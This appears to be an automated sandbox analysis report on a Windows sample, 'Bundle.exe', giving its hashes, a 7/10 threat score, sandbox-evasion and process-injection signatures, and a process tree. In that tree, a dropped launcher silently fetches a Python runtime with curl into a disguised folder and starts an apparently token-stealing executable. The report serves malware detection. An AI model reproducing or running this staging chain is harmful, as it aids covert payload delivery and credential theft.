Analysis
- max time kernel
148s - max time network
133s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 22:53
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Bundle.exe
Resource
win10v2004-20260513-en
13 signatures
150 seconds
Behavioral task
behavioral2
Sample
Bundle.exe
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target Bundle.exe
- Size 372KB
- Sample260804-2ty7aszwfw
- SHA256 4f662601b4869daa1a4012d2acf06d980adb2b053f24750f98473ab9674787ee
- MD5 6c2e42df32b6c46e091dac1e0b52bba4
- SHA1 7d2b02ab9698bcf5f3ba051a726830f0b8560c8d
- SHA512 20674a41882cb89146a80146073b0e02dff956af48289e9e92fc2c03be9291d8251cf5f5757b243c849c23f30dc9cfb26f9b74f2488f0c126d36109609c698e5
- SSDEEP 6144:2AlzfR3a9ngKrTcnpbTsjNB4Kv1cE1QiWo8GyOqXp9n6h+Smq7+Wk1trEpWFcDJq:2Aj3C/0bTkf6kCpRSmq7ULrEpWFWFW
- TLSH T183841213EA026B94C6109872D51B9BC0D166FE880F3970DF63FDB7672D797E0963A908
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 2 IoCs
pid Process 4304 Launcher.exe 5908 FovHvH_TokenLogin.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Launcher.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Launcher.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2776 wrote to memory of 4304 2776 Bundle.exe 88 PID 2776 wrote to memory of 5908 2776 Bundle.exe 89 PID 4304 wrote to memory of 5444 4304 Launcher.exe 91
Processes
-
C:\Users\Admin\AppData\Local\Temp\Bundle.exe"C:\Users\Admin\AppData\Local\Temp\Bundle.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Users\Admin\AppData\Local\Temp\D83E0E7B\Launcher.exe"C:\Users\Admin\AppData\Local\Temp\D83E0E7B\Launcher.exe"2⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:4304 -
C:\Windows\SYSTEM32\curl.exe"curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"3⤵PID:5444
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C:\Users\Admin\AppData\Local\Temp\D83E0E7B\FovHvH_TokenLogin.exe"C:\Users\Admin\AppData\Local\Temp\D83E0E7B\FovHvH_TokenLogin.exe"2⤵
- Executes dropped EXE
PID:5908
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\D83E0E7B\FovHvH_TokenLogin.exe
- Size 136KB
- SHA256 7df95281074147c1ad0628800c78d6d604713a4d363cdca77f80c73dc6edd15c
- MD5 23beea42c952f7c9303accbd18ab4271
- SHA1 aa451edd9e79e7a7de9e79bf1ea4ebbf0eb948fe
- SHA512 e5191e2f52b9fb88e95c84140f2483e2f660f1a40302ccf97113cd5b22f4a106a8521283cea641663d387e861045daba13326c1b7676c1d869906b38eee0d1fe
- SSDEEP 3072:2/P1faXC3Cwr0ejllErna7LS0Y087lfWKWBB2dO20iFbQn:2n1f4C/r0ejllEriLS0Y08BfhWax06Q
- TLSH T121D3392AB915007DD2AAD5F8EA875902EB737C4A07616BCF07919CB60F225D4BF3F601
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\D83E0E7B\Launcher.exe
- Size 1.1MB
- SHA256 cc7a71e31c597f693db740970970c24b9db2162f5c3e0e7158bd4f4095b06397
- MD5 2894d3ec70b79975752ff4bdc7e54744
- SHA1 83dc316fd87ed0fe1f989b55576fc1a85bb43632
- SHA512 18a1a0741309086cc6b15a72306f7ff95d4e4662c10a336b9f0fc99e5b857c8bca549fa7f0702d3336b2ddd0458919f6b8d53a5721305e6187a3cd78471d0a2a
- SSDEEP 12288:1Z+OE4MmD6/Oyspc5EEBBBHGBgzGerwGYvPqItNquB:1cb4M06WpoPrw3vP3f5
- TLSH T1A2357C83EBA385D8C156C8B5534FF137F9627C8E4A157196ABC41E633E67B64E22CB00
- MD5 SHA1 SHA512 SSDEEP TLSH